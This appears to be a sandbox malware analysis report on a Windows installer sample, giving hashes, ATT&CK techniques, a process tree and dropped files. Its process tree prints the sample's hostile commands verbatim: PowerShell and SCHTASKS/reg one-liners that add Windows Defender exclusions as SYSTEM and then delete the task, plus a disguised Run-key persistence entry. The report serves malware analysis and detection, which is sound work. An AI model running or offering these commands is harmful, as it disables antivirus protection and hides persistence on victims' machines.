2de386cbe1e1fa22b72a5ed25d51eedf17e3c5c17cdb03649fed12ae8c7e28d3

Analysis

max time kernel
150s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 22:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.02.exe
Size 38.9MB
Sample261024-15f97ast8m
SHA256 2de386cbe1e1fa22b72a5ed25d51eedf17e3c5c17cdb03649fed12ae8c7e28d3
MD5 0269ee471ee58fbb7d11120ff566c18b
SHA1 df6d259386eef8a99d66e9be16be27ca6244df88
SHA512 d846c3089a304a35d6c2a21af6a0437dd9b30898afabd5f136021eba8ea248c8d87241da11a995344dbfa94646fcb0db4ce367d9d4169de65e8bf1278ca9da7b
SSDEEP 49152:qPnycXVTyTyg5tJyNZ/W/hNbo1iTl8ZFPnMBwbePbgF+VS5sb5m+cZ2lyn0wgsXR:q6chqTShW/hNbSiQfMJPLmrUlsR
TLSH
T17C97D69FBF81DE82F957D23498A75B602336D9B40BF1C307125427206F9F2998EE25D8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3420	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
5016	ussRLi.exe

Loads dropped DLL 1 IoCs

pid	Process
5016	ussRLi.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\Xt2Kkw\\ussRLi.exe\""	ussRLi.exe

Indicator Removal: Clear Persistence 1 TTPs 3 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
5536	cmd.exe
6036	cmd.exe
2164	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	ussRLi.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1664	cmd.exe
3872	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.02.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.02.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4440	schtasks.exe
2036	schtasks.exe
4908	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
1752	install.2.0.02.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe
5016	ussRLi.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:1752

C:\Users\Public\Xt2Kkw\ussRLi.exe
"C:\Users\Public\Xt2Kkw\ussRLi.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:5016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Xt2Kkw\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:2164
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Xt2Kkw\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4440
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5088
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:5536
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2036
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:6036
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4908

C:\Users\Public\Xt2Kkw\ussRLi.exe
"C:\Users\Public\Xt2Kkw\ussRLi.exe"
1⤵
PID:700

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Xt2Kkw" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1664

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:4048

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3872

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 9d6bb95670218017924a6b4dda68964face40ede53bf6d85e272f957cf41fade
MD5 1af6151fc63d24ce97bdc81d98056354
SHA1 58410c226016f7180d8711a82179d89b7b5b76c4
SHA512 6788779807c8e929dd7e0d67c50ad29ca9c144132d8ccc06e22582880e187a00d1ae32245b3999a216b355fd05f5132a1627b5dbf36a91461defe794fe4f77d2
TLSH
T16C31C6BA2FAD6E964F3A8C8119CEF1262CF6E0806CC6546B5150E4A4DF043B22F4E908
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 fb52be3949d53b73df0841ce0dc2eac041b50f3e2471a540838904a71328f8df
MD5 46290e94a65e3f07672f05ecf4ff7ee4
SHA1 b1f7942e30e50ec30d8ec139d5512031cfef8753
SHA512 a689535f9b69221b10be1d182ae427e0e198132a2e6838875c5731c998482102c38c4a1258eed67f10abd530cf4698edd57df1b00813f1b0bd4796133a87ce11
TLSH
T1AA31F8A65E3E1003DF0C4F2622D4D63B7CF5A4749CF86892683ED0AE5669BB75F81105
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 5f8ca7f90a840392c6b39d90bda99306d4ae423bf067c31420822360e687cf26
MD5 c5925fd0341438f0aba2a1e47533db15
SHA1 bd4e06753925ded5ddb8e98fddc73b631a6f36ac
SHA512 e14f9c6f3a362c0b8342dec3ad7c3e8ecf794d0302e6912bdc75c248c029e1feb4d4f3e60812a9a85e3525f0db22ec2c7e8ec89ce7d80c9abeebdf5eb29792ba
TLSH
T129F05C1C0438C22DF377DA3DC7CE799B3BBBEA043406859406A84F0D61879536E9267E
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 6a58c9f3ac43e545a5e25daca65264ac61104943f11f0d3c84f2168dfd8f1ee2
MD5 eabf6816dd48e9a3f9b521393ccf0f41
SHA1 e45ec25a346e3e05dcd640f3a14d74f84561e46d
SHA512 cdb97a3b6bfaf5ae44a1fa511b372dd353b4d30750e7525b478b8171c61016785ef00bdf0d34b426f2eff96a7b70b0d1bc8a7bd151402a91b9c9de35e8ef00de
TLSH
T1A8F05C2557E9401BF07AE1BC46E77A728D27F523011B51AF09A943841A50D401C4337E
MD5 SHA1 SHA512 TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\Xt2Kkw\UxEnhance64.dll
Size 3.1MB
SHA256 bbef559ea667fadabaf76f6346621255d2bc1530fb8c1dd1ef68404077818cfb
MD5 b58a9caf5616e3300c2f823d0f0c2070
SHA1 a16a1ac875383ae1b65be0ec2423092f6d368c5f
SHA512 84106c584dda4529e5a35313409bb3720a05beb93d79569671d98083506af2281d889bbbc1487a084e29df18669f46452d872f5750616546c71e8ab7a836bbf1
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+k:P9m29xx3Tiqt06ox6+z2rNNrKok
TLSH
T1B8E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\Xt2Kkw\adoresd.dat
Size 4.8MB
SHA256 8023e258bca43f31f85e7d89eb096770885bc7f2d97b10c8a9aac3aecf0755fc
MD5 e65cc4d4460883be58997d0aa8d02671
SHA1 4da4b43f3341cb3ced01780e1e779f567f592f5c
SHA512 a08ad8c60b4fecafb4d71150a3c26b8c636a8f421b9775ee2fea8742ac4740c115e58559725a1db24de46a1eea0d36045c5bb78c0b38c18cecd5d51ecfd8db98
SSDEEP 98304:lWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:lWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1D03633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\Xt2Kkw\msadox.tb
Size 8KB
SHA256 b3744e0b251ff4e1f81149ff240dabee25c87b18657ae8c838bdb12b34dae0a1
MD5 ef707cb772a0507c30a9eb4ee1048388
SHA1 3a9ddb10d47261e37f72c5f51697ab6ebe3c1b15
SHA512 aef3d379393651e9b3f7d670f4bd46effd72b51f6298bd0f51d32ef872d47e89187900c0f3db3a665af4f55414b90805603ec7d4d5a88346278be755cf0ac9e5
SSDEEP 192:qqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:qsZqZOXQ3uqvR2Kfzp
TLSH
T1A6029E05D7A20DC3D3016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ussRLi.exe

Path C:\Users\Public\Xt2Kkw\ussRLi.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/700-581-0x00000179F44E0000-0x00000179F4DB7000-memory.dmp

Download

memory/700-588-0x00000179F44E0000-0x00000179F4DB7000-memory.dmp

Download

memory/700-577-0x00007FFE6AD60000-0x00007FFE6B27E000-memory.dmp

Download

memory/700-587-0x00000179F44E0000-0x00000179F4DB7000-memory.dmp

Download

memory/700-590-0x00000179F44E0000-0x00000179F4DB7000-memory.dmp

Download

memory/700-589-0x00000179F44E0000-0x00000179F4DB7000-memory.dmp

Download

memory/700-582-0x00007FFE8D420000-0x00007FFE8D422000-memory.dmp

Download

memory/700-591-0x00007FFE8D410000-0x00007FFE8D412000-memory.dmp

Download

memory/700-583-0x00000179F44E0000-0x00000179F4DB7000-memory.dmp

Download

memory/1752-525-0x00007FFE84BD0000-0x00007FFE84BE2000-memory.dmp

Download

memory/1752-524-0x0000000001F00000-0x0000000001F0E000-memory.dmp

Download

memory/1752-0-0x0000000001F00000-0x0000000001F0E000-memory.dmp

Download

memory/1752-1-0x0000000001F00000-0x0000000001F0E000-memory.dmp

Download

memory/1752-2-0x0000000002160000-0x000000000216C000-memory.dmp

Download

memory/1752-504-0x00007FFE84BD0000-0x00007FFE84BE2000-memory.dmp

Download

memory/5016-539-0x000002D5349B0000-0x000002D535287000-memory.dmp

Download

memory/5016-550-0x000002D5349B0000-0x000002D535287000-memory.dmp

Download

memory/5016-559-0x000002D535740000-0x000002D5357CA000-memory.dmp

Download

memory/5016-566-0x000002D5349B0000-0x000002D535287000-memory.dmp

Download

memory/5016-567-0x000002D5349B0000-0x000002D535287000-memory.dmp

Download

memory/5016-561-0x000002D535740000-0x000002D5357CA000-memory.dmp

Download

memory/5016-556-0x000002D5349B0000-0x000002D535287000-memory.dmp

Download

memory/5016-562-0x000002D535740000-0x000002D5357CA000-memory.dmp

Download

memory/5016-558-0x000002D5355D0000-0x000002D53561E000-memory.dmp

Download

memory/5016-560-0x000002D535740000-0x000002D5357CA000-memory.dmp

Download

memory/5016-546-0x000002D5349B0000-0x000002D535287000-memory.dmp

Download

memory/5016-545-0x000002D5349B0000-0x000002D535287000-memory.dmp

Download

memory/5016-543-0x000002D5349B0000-0x000002D535287000-memory.dmp

Download

memory/5016-544-0x000002D5349B0000-0x000002D535287000-memory.dmp

Download

memory/5016-538-0x00007FFE8D420000-0x00007FFE8D422000-memory.dmp

Download

memory/5016-536-0x000002D5349B0000-0x000002D535287000-memory.dmp

Download

memory/5016-531-0x00007FFE6AD60000-0x00007FFE6B27E000-memory.dmp

Download

memory/5016-530-0x00007FFE8D410000-0x00007FFE8D412000-memory.dmp

Download